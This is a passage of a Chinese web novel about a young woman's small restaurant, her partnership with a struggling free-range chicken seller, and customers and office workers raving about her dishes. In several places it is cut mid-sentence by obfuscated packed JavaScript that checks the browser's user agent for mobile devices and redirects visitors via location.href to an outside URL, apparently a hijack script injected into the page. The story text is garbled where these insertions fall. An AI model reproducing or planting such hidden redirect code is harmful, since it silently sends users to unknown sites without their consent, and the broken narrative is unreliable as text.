庄凝冬正要推着走，隔壁摊子的陈姨觑了眼钟盼，确认她在忙没空注意到这边时，她才上前一步拦住庄凝冬。 “方便借一步说话吗？” 陈姨昨天帮过她，不像坏人。 庄凝冬虽然疑惑，但也点了点头，跟着去了人少的一角。 “我看你买的菜挺多的，家里住着很多人？” 推车有好几层，稍重的肉类被放在了下边，虽然看不出其他有什么，但从这几只老母鸡就能看出，这根本不是一个家庭正常的量。 谁家一日三餐吃老母鸡啊？ 尽管猜到不是，陈姨还是借着这个作了开场白。 没什么好隐藏的，庄凝冬笑了笑，大大方方地说：“不是，家里开店呢。” 顺带还招揽了一波生意：“在朝丰街那边，您方便的话，可以来帮衬一下呀，给您打个折。” “好好好，开店挺好的……”陈姨扯着笑，有些欲言又止的，像是有事不知道该如何开口。 庄凝冬一眼看出：“您是有什么事吗？不妨直说？” 陈姨犹豫了一下，“是这样，这鸡你昨天也来买过了，想来也是觉得还不错才会再来买的吧？如果可以的话，能不能尽量多买点？” 在摊子前就猜到庄凝冬可能是做点小生意的，头脑一热就把人拦下了。 如今站在这里，把话说了出口，陈玉珍才恍然想起，自己还不知道人家的生意怎样呢…… 如果对方也只是为了混两口饭吃，甚至还是做的亏本生意，那她倒不好意思让人家来帮忙了。 都难啊。 都是泥菩萨过河。 “如果不方便就算了。”陈玉珍连忙补充了句。 “多买点，是指多在那个女生的摊子上买吗？” 庄凝冬觉得奇怪，眼前的阿姨明明也是卖鸡肉的，她们不是同行吗？怎么还主动来为对方求更多的生意？ “她叫钟盼，我跟她妈妈认识好些年了，以前那个摊子都是她妈在负责，生活本来这样平淡如水地过着，直到后来，她妈出了一场车祸，失去了一条腿，这个摊子就交给了钟盼，”陈玉珍说，“她们家一直卖的都是精养走地鸡，品质是好了，但成本越高，最近生意越来越难做，我看她们也快撑不下去了，才想着看能不能为她们谋点生意。” “唉，主要我也不想看到高品质食材消失，”陈玉珍说着又重复了下，“不过也没什么，如果你没法帮就算了。” 虽然作为商贩，陈玉珍也希望高品质食材能落到有眼光的人手里，发挥它们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她话音刚落，柳芳书就拍拍她的肩膀往一边指：“刘文你快看！那儿是不是有间饭馆？！” 刘文顺着看过去，蓦地顿住，那不是她一个高中同学的家吗？ 12. 第 12 章 刘文虽然是本地人，但也很少来这边，这里的建筑古朴，属于老旧住宅区，更没什么好玩的娱乐设施。 除了读高中那会她偶尔会路过外，之后就再也没来过了。 如今四年过去，街景似乎没什么变化。 但她也记得，那儿之前是一个早餐铺子，怎么变成饭馆了？ 改行了？ 刘文不甚在意：“我们还是走吧，这边真没什么好吃的。” 柳芳书站住没动，她说：“我看那有一棵槐树，花瓣落下来时还挺有氛围感的，哎呀反正来都来了，就在这将就一顿吧，正好我饿了。” “那好吧。” 她们两人走到门口，没第一时间进去。 站在门边往里看，零星几个客人。 收银台没人，透过小窗口，能依稀看到后厨里头有个人影。 “看，我都说了味道不怎么样吧，不然能只有这几个人？”刘文说，“我跟你说，这里之前其实是一个早餐店，我读书的时候来买过，味道不怎么样，现在改卖午餐了，味道肯定也不怎么……”样。 她话还没说完，就有两个女生风风火火的从跟前走过，隐隐带起一阵风。 谭清莹边走边喊：“老板娘！给我们来两份红油抄手。麻烦打包谢谢！” 老板娘？ 这儿的店主不是一位老爷爷吗？难道换人了？ 刘文没来得及多想，便被柳芳书扯了进去。 方才先进去的那两位女生，正在窗口前问里面的人能不能拿袋子装些手剥笋。 得到允许后，两位女生走开。 刘文也看清了后厨里面的人的长相。 她上前一步，语气意外：“凝冬？！真的是你？” 里面的庄凝冬疑惑看去，脑子里原主的记忆随之给出答案—— 她的高中同学刘文。 不过记忆里，她们可没那么熟络，反而气场不太合。 庄凝冬朝她颔首，算打过了招呼：“要吃点什么吗？” “还没看，不是，还没想好……”刘文看上去不着急，打探似的问：“你不是去读了A大吗？怎么回老家来开起饭馆了？” 庄凝冬神情淡淡，显然不想多说：“家里出了点事。” 刘文张了张嘴，看到对方这个样子，也不太想聊了，随便看了眼菜单点了样菜：“那来个番茄土豆烩饭吧。” 一看价格，15？！ 刘文整个人都不好了。 柳芳书：“那我要个紫菜炒饭好了。” 在餐桌前坐下，柳芳书才好奇地问：“原来你们认识啊？” “啊？哦对，我跟她是高中同学，也很久没联系了，我都不知道她回来发展了。”刘文还沉浸在15一份番茄土豆烩饭的肉痛中。 柳芳书看她们也不是很熟的样子，就没多问，起身去加料区拿碟子装了点手剥笋。 刘文还在神游。 读了A大，却回来开饭馆，看来也混得不怎么样嘛。 有什么可傲的？ 开了那么久的店，生意还是这么不上不下，看来手艺也没长进。 她倒要看看15块的烩饭长什么样。 正腹诽着，门外又走进几个中学生。 眼前落下一碟笋，刘文下意识皱眉：“拿这么多？吃得完吗？” “啊？也不是很多吧？放心吧，我喜欢吃笋，我会把它吃完的。” “主要是味道不好，怕你吃不下。” 那头的柳芳书已经戴上手套捏住笋身啃了起来。 牙齿咬下笋肉，嘎吱嘎吱的，光听声音都知道有多脆，从中撕开煮软了的笋壳，还有汤汁流淌着。 又香又辣，好吃得不得了。 柳芳书吃得认真，也没细想刘文的话，认真评价道：“不会啊，这个巨好吃！真的！” 她说着，还吮了吮手套上的汁水。 刘文依旧在抗拒，但旁边柳芳书嚼手剥笋的声音嘎嘎脆，身体比大脑先一步做出反应—— 嘴里开始分泌唾液，肚子发出清响。 手更是直直朝手剥笋伸去。 拿起到嘴边的那一刻，柳芳书正好看过来，刘文找补：“我也有点饿了，勉强先垫垫肚子。” 这份手剥笋是香辣味的，卤的很入味，入口香香辣辣，却又没有掩盖竹笋本身的清香。 哪怕味觉得到了极大程度的满足，刘文也不愿承认庄凝冬做出了这种美味。 一根吃完，当她想再拿时，才发现碟子最后一根已经被柳芳书吃了。 “刘文你觉得这个手剥笋怎么样？是不是很好吃？”柳芳书眼睛亮亮的，显然已经被手剥笋俘获芳心。 一阵无形的妒意再次从心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959541|136747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滋生，刘文装作中肯地评价道：“是要比网上那些手剥笋好吃，不过这种腌制品用料很猛的，好吃肯定也是因为科技与狠活，还是少吃为妙。” 柳芳书一时被她带偏进入思考，却又总觉得哪里不对劲。 吃起来不会过咸，甚至竹笋本身的味道都还在，哪里用料猛了？ 这时，她们两人点的饭都被端了上来，柳芳书思绪被打断，她便不再细想了。 眼前的紫菜炒饭粒粒金黄，闻着喷香，柳芳书吃了一口，入嘴咸香，饭粒干爽，每一口都有脆脆的海苔碎，好吃到仿佛全身的细胞都在跳舞。 这个店里的手剥笋是好吃的，紫菜炒饭也是好吃的，那么……其他菜式呢？ “刘文，我能尝尝你的番茄土豆烩饭吗？”柳芳书期待地问，“我可以用紫菜炒饭来换。” 刘文顿了顿：“可以，随你盛，不过我觉得这份番茄土豆烩饭也就一般般，希望你的紫菜炒饭不会让我失望。” 柳芳书还真就信了她的一般般，吃之前都是犹豫的，直到舌尖感受到那沙沙的酸甜，十分开胃。 “啊？这也一般吗？可是我觉得非常好吃诶。”柳芳书觉得可能是个人口味的问题，于是又问：“那紫菜炒饭呢，你觉得怎么样？” 刘文回味着那股喷香，脸上看不出神情变化：“不怎么样，价格太贵了，别人家的炒饭都是8块10块的，就她这要18块，等我下次带你去吃更便宜的。” 在可负担的价格范围内，看的从来不是价格，而是性价比。 柳芳书不说话了，勉强扯了扯唇敷衍了一下。 到这个程度，她不再相信是因为个人口味差异。 两人吃完饭准备离开，柳芳书注意到，口口声声说着烩饭味道不怎么样的刘文却将它吃得一干二净。 她可没忘记之前有一次在办公室，同样是番茄土豆烩饭，刘文最后只吃了一半。 那一次，她也说味道不怎么样。 原本两人的计划是吃完午饭再去别处看看的，但现在，柳芳书忽然不想再和她逛了，她找了个借口：“我突然有点不舒服，先回去了。” 刘文还没来得及说什么，柳芳书人就已经拐出了门。 莫名其妙……不过正好。 刘文脚步一顿，转身去加料区那边扯了个塑料袋，往里面装了几根手剥笋带走…… 13. 第 13 章 另一边。 谭清莹和何筝提着袋子回了办公室，她们往里扫了一圈，却不见王军人影。 “他人呢？怎么我们打包回来之后他人就不见了？不会是提前逃了吧？”谭清莹有点不爽，她现在只想把这份抄手放在他面前，让他睁大狗眼好好看看。 何筝也很不得劲：“算了，躲得过初一躲不过十五，咱们先回工位吧。” 现在正是饭点工位上的同事都在吃饭聊天玩手机，气氛和谐轻松，有同事看见她们，随口搭话：“这就是你们上次大夸特夸的红油抄手？” “是啊，真的特别特别特别好吃，性价比超级高！而且那个店，除了红油抄手，其他也特别好吃！”对于庄记饭馆的东西，谭清莹现在是逢人就夸，彻底成为铁粉了。 有位男同事凑了过来，只见透明餐盒下，汤水红汪汪，盖子一打开，麻辣的鲜香就跟打开了封印一样跑出来，香的让人口水直流。 四周也渐渐有了不少人被这股香味吸引了注意力。 男同事控制不住咽了口口水，又眼尖地发现她们还提了另外一个小袋子，里面放着深色的根根条条。 “这是什么？”男同事问。 “哦，这是店里新出的开胃小菜手剥笋，我们上次去还没有呢。”何筝说，又大大方方道：“你们要吃吗？要吃就来拿。” 她拿了好一些呢，想着反正是免费的，刚好也多拿点回来分点给同事。 没人注意到，以往一向慷慨经常分零食的谭清莹此刻却陷入沉默。 此刻，她不仅不太想分，甚至还想阻止何筝。 根据她的经验，庄记的手剥笋肯定也是独一档的存在，吃了之后自己肯定不够吃。 尤其这个手剥笋是免费的，谭清莹总觉得不太好意思，内心过意不去，当时就没拿多少。 哪怕何筝多拿了点，但她也觉得何筝等会后悔。 有些围观的同事一开始矜持，都说不要，只有一两个拿了一根。 办公室里，这几人戴着手套，认真啃着笋子。 笋肉爽口，又香又辣，卤汤汁泡到内里，蓄了满满一汪。 男同事一个没注意，让汤汁淌到了手上，就在它们汇聚在一起，瞅着就要滴落时，他又眼疾手快的迅速嗦了一口，避免了这场灾难。 “我去！吃的好爽！”男同事咽掉那口卤汤，痛快的眯起眼睛，感受着这股劲道给身体带来愉悦兴奋的感觉。 任何口头上表达的好吃都不如男同事这一幕所展现出来的效果强，刚刚那些还在矜持的同事此时此刻也都凑了上来。 “何筝我来拿一根。” “何筝我也要嘿嘿。” “也给我一根呗，到时候请你喝奶茶。” …… 直到何筝那被霍霍得只剩一根，她才欲哭无泪地死死按住：“别拿了，我就剩最后一根了呜呜呜……” 旁边的谭清莹一副果然如我所料的神情，还在得瑟地庆幸自己没请他们吃。 手剥笋带来的快乐小小地冲淡了小周周六还要上班的怨气，谭清莹还沉浸在美味中，丝毫没有察觉那群人已经将目光放到了她的身上…… “莹莹！可以分我一根吗？！你人最好了！” “清莹姐姐~人家也想吃~可不可以让我尝尝？” “清莹……” 谭清莹来不及给回应，就听见一道令人讨厌的声音响了起来，给嘈杂的人声按下了暂停键。 “你们围着一堆在这干嘛呢？有什么好吃的，给我也来点呗？” 是王军来了。 谭清莹收起脸上的笑，冷眼看着他：“你来的正好，你自己来看看吧，这就是我上次发在朋友圈的那份抄手，说了没p过就是没p过！” 王军随意挑起眼皮扫了眼，是没什么区别，但他压根没放心上，也不明白谭清莹为什么这么执着。 “这能说明什么？你年纪小，不懂也正常，现在的商家很多用的都是科技与狠活，肉眼看到这么正的颜色更应该在心中拉起警铃知道吧？” 谭清莹被他的样子气得火噌的一下就上来了，她拧起眉：“你什么意思？！你自己没吃过没见过，更做不出这样的菜，就诋毁别人是吧？人家的窗口都开着，所有制作过程都可以看见，怎么可能是科技与狠活？” 王军在鸡蛋里挑骨头：“你每时每刻都在那里盯着看了？” 说到这份上，谭清莹才明白，跟他这种活在自己世界里的人没什么好说的。 只是想到自己喜欢的东西，被这种人诋毁，她就气不来！ 但又不知道怎么骂，不过幸好还有何筝。 “我说你是不是有病啊？还真把自己当回事了，你要真像你自己说的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959542|136747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么牛逼那么懂，你会一份营销策划案被打回去三次都过不了？有对别人挑刺的功夫还不如回去精雕你那份策划案呢，你也别嫌我说话难听，要我说啊再怎么改也是史上雕花，我劝你还是重新写一份吧，可别耽误了我们公司的新产品上市。” 何筝双手环胸，一段话说的气势十足，顺便将自己平日工作里受的气一股脑甩了出来。 因为策划案的事，王军没少被上级批，所以这也是他的一大痛点。 “你……！” 他被戳中了心肺，急红了眼也“你”不出一个所以然来。 王军凭一己之力拖累全部门，策划部的同事也忍他好久了，赶紧趁着这个机会点他：“是啊王军，就你那一part一直过不了，我看你中午也别睡了，现在赶紧回去改吧。” 周围霎时响起细碎的附和声。 被一个人说，王军还能厚脸皮留下，但被一群人说，他可就呆不住了。 意识到王军要走前，谭清莹牢牢守住自己的手剥笋，他可没忘刚刚王军来时的那句“给我也尝尝呗”。 给你尝个屁你尝！巴掌就有得你吃！ 人人喊打的老鼠走了之后，谭清莹那边才恢复了祥和的氛围。 谭清莹最终还是将自己的手剥笋分了出去，她跟何筝一样，提了好一些回然而最终自己只吃了两根。 有熟悉的女同事不满足于手剥笋，又厚着脸皮要了只红油抄手吃。 男同事们光闻着香味却吃不到，在这活受罪，只能纷纷问店铺地址。 看他们的样子，谭清莹就知道他们也爱上庄记了。 太好了，又多了几个人去吃，那她就不用担心老板娘会因为生意差就关门大吉了。 有同事问起店内饭菜的价格。 谭清莹想了想：“普遍比市场价高一点，就你们现在吃的这份红油抄手是25块，不过就冲这个质量来说，这个价格简直是白菜价好吧。” 尝过美味的同事们都点头表示认可，又有人问：“那手剥笋呢？” “哦这个呀，这个放在店铺加料区免费自取的，到时候你们去的话可以拿点。” 嗯……我自己也要多拿点。 谭清莹想着，然而等周一她再一次去到店里的时候，加料区只剩下拍黄瓜和酸萝卜。 啊啊啊啊她心心念念的手剥笋呢？！ 14. 第 14 章 跟着一起来的同事们也懵住了：“清莹你不是说加料区有手剥笋的吗？” “是啊清莹，这，笋呢？难道是被吃完了？” “不可能吧，我们可是还没下班就赶过来了，应该不至于。” …… “让我去问问老板娘。”谭清莹快步走到窗口，“Hello老板娘！又见面啦！我想问问之前摆在那的手剥笋怎么没了？今天的是被吃完了吗？” 上次的手剥笋给街坊邻居送了点，剩下的那些自己也吃不完，庄凝冬才拿出来当做免费的加料小菜的。 不过她却没想过要长期做手剥笋，因为这玩意处理起来太麻烦太耗时间了，剥笋壳都得剥崩溃，得不偿失。 “是我没继续做了。”庄凝冬说。 谭清莹失望的啊了声：“为什么？以后也不打算做了吗？呜呜呜不要啊！我好想吃来着，不对，不止我，我的同事们也很想吃来着。” 同事们配合：“是啊是啊。” 何筝问：“老板娘，是不是因为不赚钱，你才不做了呀？如果是这样的话，我可以出钱买的，别停产好不好~” 谭清莹：“我也可以出钱买的！！这样更好了，我就可以心安理得地买一堆回家屯着了，求求你了老板娘，我们真的很想吃！！” 天知道在追剧的时候啃上这样一种小零食是何等的幸福！ “我也能花钱买！” “我也愿意！” “我今天生了病，医生说得了手剥笋综合征，要是吃不上手剥笋，我就会日渐消瘦的。” …… 庄凝冬竟然真的认真思考起来这个时代是不是真的有这种病症，从他们的神情推测出来是开玩笑之后，她有些哭笑不得：“好了好了，看在你们都这么想吃的份上，我就去找一下原材料吧，如果能找到品质合适的笋，我就做出来卖好吧，如果找不到，那我也没办法了。” 谭清莹他们异口同声：“好好好！” 对食材品质要求这么高，难怪做出来那么好吃。 呜呜呜捡到宝了。 “手剥笋今天是没有了，那你们还要在这里吃饭吗？” “要的要的！” 谭清莹他们排着队依次点了单。 等菜上来之后，他们才发现每人的托盘里除了点的主菜外，还另外装了个小碟子，上面几块撕开的鸡肉，碟子底部聚着一点汁水，鸡肉表面还附着着深色的星点，不知道是什么。 “这是……？”何筝问。 庄凝冬温声道：“是即将要上的新品荷香鸡，先免费给你们尝一点，看看味道如何。” 谭清莹脸上浮现惊喜的神色：“！！我也太幸运了吧！感觉店里每次上新我都在诶！期待！” 庄凝冬走后，谭清莹迫不及待地夹心一小块来吃。 还没进入口腔呢，鼻子就先闻到一股荷叶的清香了。 庄凝冬做这道菜时，先将整只鸡腌制好放下热猪油中滚了一圈，待鸡皮表面微微变得金黄焦香，才盛出来用荷叶包好放进炒好的粗盐里焗。 经过热油激发，鸡里面的油脂也融了出来，和猪油集合在一起，光想想就能让人口水直流。 入口也是香到极致，鸡皮薄薄的一层，柔软劲道，外层还有淡淡的焦香，和嫩滑多汁的鸡肉集合在一起，口感非常丰富。 特别是齿尖戳破鸡肉的那一瞬，丰盈的汁水在嘴里迸发，满口都是鸡肉特有的鲜香。 看的时候看不出来，吃了才知道，原来那深色的星点是荷叶碎。 鸡的原汁原味加上荷叶清冽的芬芳，是清淡却又让人回味无穷的味道。 “救命！好吃到要疯掉了！”谭清莹简直想站起来跳个舞。 “要是写明是荷叶鸡让我去买的话，我是不会去买的，因为我以前有一次吃过荷叶制品，它是带有那种叶子的苦涩的，就混到食物里面，每一口都逃不掉这个味道，你知道有多痛苦吗？自那之后，我就觉得所有的荷叶制品都不好吃，也没有再吃过他们了。” 何筝说，“没想到这家店又给了我惊喜！这个荷叶鸡真的太好吃了！两次，整整两次了，这家店都打破了我对食物的刻板印象呜呜呜，真的好厉害啊！” “你们有人喝了底下那个汤汁的吗，巨鲜美！比某一些精心熬制出来的鸡汤都要好喝！” “真的好绝！喝起来一阵清香，还回味甘甜，别说了，出必买！” “没想到溪城还有老板娘这样的高手，这一手厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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中年男人被这么一说，脸上挂不住了，扔下一句气急败坏的“谁稀罕？！”就走了。 陈玉珍看到他们闹了不愉快，急得朝那人的背影“哎——”了一声，那人没回头。 她又叹了口气，似是觉得钟盼有点意气用事又替她可惜：“怎么说这也是一桩送上门的生意……” 钟盼却不甚在意：“放心吧陈姨，我心里有数呢，像他那样的人，这不可能按我给的价格购买，谈了也是白谈，还不如省点力气呢。” 陈玉珍默了默，没说话了。 她想起几天前找庄凝冬的事，如今过了些时间，庄凝冬都没提起这茬，想来她也帮不了了。 还好当时没跟钟盼说，要不然又是空欢喜一场。 陈玉珍想了想，又去跟她说话：“我先前跟你说的改用饲料圈养你考虑的怎么样了？” “我已经想好了。”钟盼把心里的决定对陈玉珍说了出来。 “你妈妈她同意了？”陈玉珍知道，之前就是他们母女俩之间在这方面的理念存在矛盾，一直解决不了。 “没同意，”钟盼果断道，“她不同意也没用。” 陈玉珍张了张嘴，还没发出声音，眼前就出现了一个熟悉的人影。 是庄凝冬。 陈玉珍是个死也要死个明白的，她想，要是庄凝冬真的没法帮，那也要谈个清楚才是，不然一直这样吊着让自己猜，也蛮难受的。 她正要开口让她跟自己来一趟时，庄凝冬说话了： “请问你有跟我长期合作的意向吗？” 是对钟盼说的。 陈玉珍顿住片刻，后知后觉反应过来这是能帮！霎时间，她也为钟盼感到高兴。 钟盼一愣：“长期合作？” “对，其实我是开餐馆的，正需要你店里品质这么高的鸡肉。”庄凝冬觉得还是得说清楚自己的情况：“不过我的店才刚起步，前期的需求可能不会太高，后期的话也要看店铺生意怎样，我们可以先试着合作一段时间，觉得不好你也可以及时止损。” “质量方面，我有个要求，那就是你要保证后续的食材品质都跟现在一样。” 那就说明后续还是要养走地鸡。 同意合作的话，跟妈妈就不用吵架出现分歧了。 但弊端是不太稳定。 一间刚起步的餐馆，怎么看都觉得不太靠谱。 但是做生意又哪有稳定的呢？ 最起码能熬过现阶段。 至于后面的事，那就以后再说吧。 “没问题的，质量这个可以保证。”钟盼压下心中的兴奋。 接下来就是谈价格了，两人走到一旁聊。 一般这种长期合作，谈的都是比较便宜的批发价，但庄凝冬表示他可以按市场价来，只是有个要求： 每天所提供的整鸡需要钟盼帮忙处理好再送上门。 目前庄凝冬的打算是，每顿准备十只荷香鸡，要是所有的菜都得她自己准备，那工作量也太大了。 她的身体承受不住那么重的负荷，她暂时也没钱雇人，高价购买一能解决目前的需求，二能多帮点钟盼，何乐而不为呢？ 钟盼听完后，爽快道：“没问题。” 接下来两人加了个微信，方便后续洽谈。 庄凝冬给她发去了地址。 钟盼定定看着，依旧有种不真实感。 她早上出门前才做了决定，转头就来了场及时雨。 良久，钟盼由衷地给庄凝冬发去了一条感谢的消息。 庄凝冬：[你要谢的话就谢你隔壁那位摊主阿姨吧，是她找上的我。] 那头的陈玉珍刚好过来，打算问钟盼要庄凝冬的店铺地址，准备有空就过去照顾照顾生意。 这可是恩人啊。 哪知才刚问出口，就撞上了钟盼通红的双眼。 “怎么了？”陈玉珍不由心一紧。 定完生意不应该高兴吗？怎么还哭起来？难道黄了？ 钟盼心中动容：“我都知道了，陈姨，谢谢您。” 她其实都知道，自从她接管这个摊子后，陈姨念及她们家情况特殊，就经常明着暗着总是想着法子推些客人过来。 只是她不知道，陈姨竟能做到这份上。 这样，她更无以为报了。 知道不是合作出了问题，陈玉珍松了口气：“傻孩子。” * 合作从当天开始，为了保证食材的新鲜度，庄凝冬让钟盼分两次送货上门。 初次来到庄记饭馆门前，钟盼被门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钟盼心中很不是滋味，想到今天的合作还没跟她讲呢，兴许能让她高兴一下。 “妈，我回来了！” 16. 第 16 章 听到声音，钟母诧异抬头：“今天怎么这么早？！” “今天提前卖完了，”钟盼放下手中的袋子，打开灯走过去在钟母旁边坐下，因她的话，钟母眼里又闪过了一丝惊讶，钟盼拿过一旁的针线活，跟她一起做，“对了妈，跟你说个好消息。” “有家餐馆，看上了我们家的走地鸡，打算跟咱们进行长期合作，之后的话，继续谷物喂养也有出路了。”钟盼说。 “真的吗？！那可太好了！”钟母显而易见的高兴。 钟盼顿了顿，又道：“对不起妈，之前我不应该那样跟你吵的，你的坚持是正确的。” 如果不是她妈妈之前一直坚持，钟盼可能早就改主意了，也没法等到庄凝冬的合作邀请。 这件事没有对错，钟母一直呆在家里，也无法了解外面的市场情况，一切都有点太过想当然了，也无法及时感受钟盼身上的压力。 母女俩笑着把话说开后，这件事就算过去了。 钟母想了想，打算仔细了解钟盼说的那家餐馆，便问：“那家店多大呀？客流怎么样？生意还好吗？老板是男的女的？” 钟盼不由一笑：“妈，你在这查户口呢？” “不问清楚点，你要是被骗了怎么办？你一个女孩子家家在外头，可要多注意安全。” 钟盼不想骗她，并将一切如实告说，果不其然，钟母听完后眉头一皱，神情有点担忧：“刚起步的店铺？这一听就不太靠谱啊，你会不会被骗了啊？” “妈，你就放心吧，老板娘也是跟我差不多年纪的女生，做生意不容易，要不是陈姨找到她，我想她也不会那么快就跟咱们合作，”也许是庄凝冬透露出来的气质斐然，让钟盼无比有安全感，她现在很相信她，“以后的事以后再说了，就咱们家这个情况，现在是能赚一点就赚一点了，而且她人很好的，目前只是先试着合作，还没签合同呢，到时候要是没有合作意向了，咱们抽身也容易。” 钟母听完后张了张嘴，却没发出一点声音。 他们家的情况属实无奈，确实也只能这样了。 她勉强点了点头，但心里始终有点不踏实。 “行了，别想那么多了，咱们先吃饭吧。”钟盼推着钟母到餐桌前，“那是饭馆老板娘送我的，我也不知道是什么。” 钟盼扯过袋子拆开。 解开荷叶外面的绳结，掀开一片片荷叶。 被严密包裹着，热气没跑掉多少，随着荷叶整张摊开，一股温热伴随着一阵清香迎面而来，露出里面外皮金黄焦香的一整只鸡。 “是荷香鸡！”钟盼眼睛一亮。 “好香啊！”钟母也感叹。 “今晚不用煮饭了。” 一只体型适中的鸡，足够她们母女俩吃了。 钟盼洗干净手，先给母亲扯了一个大鸡腿。 鸡背焗得熟透，掰着关节一扯，嫩滑的肉质分离，撕开呈现出条条清晰的肉纹，还有表面那一大块鸡皮也被撕扯掉。 薄薄的一层，皮肉分离，露出表面那光滑平整的肉。 撕扯间，亮晶晶的油脂和盈盈汁水混在一起，滴着鲜亮的鸡汁。 怕这鸡汁流到桌子弄张桌面，更怕这鲜香的鸡汁被浪费，钟母吞了口口水，忙不迭递碗接过。 这也太诱人了！ 钟盼舔了舔嘴唇，等不及了，对着那块没了表皮的肉撕下了几条，就赶紧塞进嘴里。 入口有股清冽的香，鸡肉很入味，钟盼随意嚼了两下就囫囵吞进了肚子里。 肉质竟然这么嫩！ “好香好好吃！！妈你敢信吗？这是用咱家的鸡做出来的。”钟盼吮着手指头，连上面沾的鸡汁都没放过。 她们家是养鸡的，自然也没少吃鸡，但做出来的多多少少会有点柴，特别是鸡胸部位，老的跟风干的牛肉一样嚼不烂，只能强硬吞下。 当时的钟盼觉得吃起来跟饲料鸡也没什么区别，这也是她动摇的一大原因。 但现在，她显然不这么想了。 钟母也不敢信，一只普普通通的鸡能鲜美到这种地步：“也不知道是怎么做的咧，居然一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959545|136747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点都不柴，这小姑娘很厉害啊！” 这只荷香鸡新鲜多汁，荷叶底部积了不少汤汁，舀起来喝一口。 带着阵阵荷叶的清冽香，让人仿佛置身夏日的荷塘边，舒服惬意。 “真的好鲜甜！这手艺应该能媲美星级酒店大厨了吧？”钟盼没吃过星级酒店的菜，但这时也觉得应该就是这种神仙美味了。 身怀绝技，哪用得着担心店铺能不能开下去啊？ 钟母把鸡腿肉啃完后，连骨头都没放过，嚼得动的都啃了啃。 “阿盼啊，现在该是我跟你说对不起了，没事先了解就质疑合作方的能力，甚至还怀疑你……”钟母说：“但现在我不这么想了，还是你眼光独到，我觉得咱们要不赶紧把合同签了吧，免得日后有别的竞争对手出现，人家不跟咱合作了。” 钟盼虽然觉得钟母这个样子有点好笑，却也认同地点了点头。 第二天一早，钟盼驱车来到庄凝冬的店里，跟她提了签合同的事。 庄凝冬之前上网搜查过关于这方面的知识案例，发现他们的合作似乎都是先支付一大笔钱或是月结。 但她现在这个财务状况，显然不支持。 当时提出先试着合作也有这方面的原因。 这些天赚是赚了点钱，但光是牌匾就花了好几百呢，而且随着菜品的增多，锅碗瓢盆有点不够用了，处处是花钱的地方，她实在无法一次性支付太多钱。 庄凝冬也把自己的难点说了，但钟盼不在乎，说是日结也可以。 那就没什么需要考虑的了。 两人就这样愉快达成合作。 * 中午十一点半，距离下班还有半个小时，打工人们已经拿起手机物色着外卖了。 张磊则还在对着电脑工作。 旁边一同事敏锐地察觉到不对劲：“诶我说磊子，你这几天是不是没点外卖啊？我好像很久没看到你在公司吃午饭了。” “哦——我知道了！你是不是偷偷藏了什么好吃的没告诉我们？！赶紧从实招来！” 20-30 第21章 第21章 因为帖主准时记录三餐的毅力，还有对美食的分享评价，所以还挺多人进去和他交流分享的。 在原本最新记录的关于庄记饭馆的那一小片范围里，画风还是友好的—— 166L：[哇，楼主你今天的饭看上去好好吃啊，是在哪里买的？我改天也想去尝尝。] 167L：[荷叶鸡看着有点像御水轩的，不知道是不是，哎不对，御水轩的打包没这么简陋。] 楼主：[是朝丰街那边的一家小店，叫庄记饭馆，很好吃！你们都可以去试一下！] 170L：[笑死我了，有没有跟我一样不知道吃什么的时候就点进这个帖子参考的？] 171L：[楼上的，我就是。] 172L：[＋1，没想到这么多同道中人。] 175L：[我发现楼主好像连着几天都在吃同一家菜哎，不腻吗？] 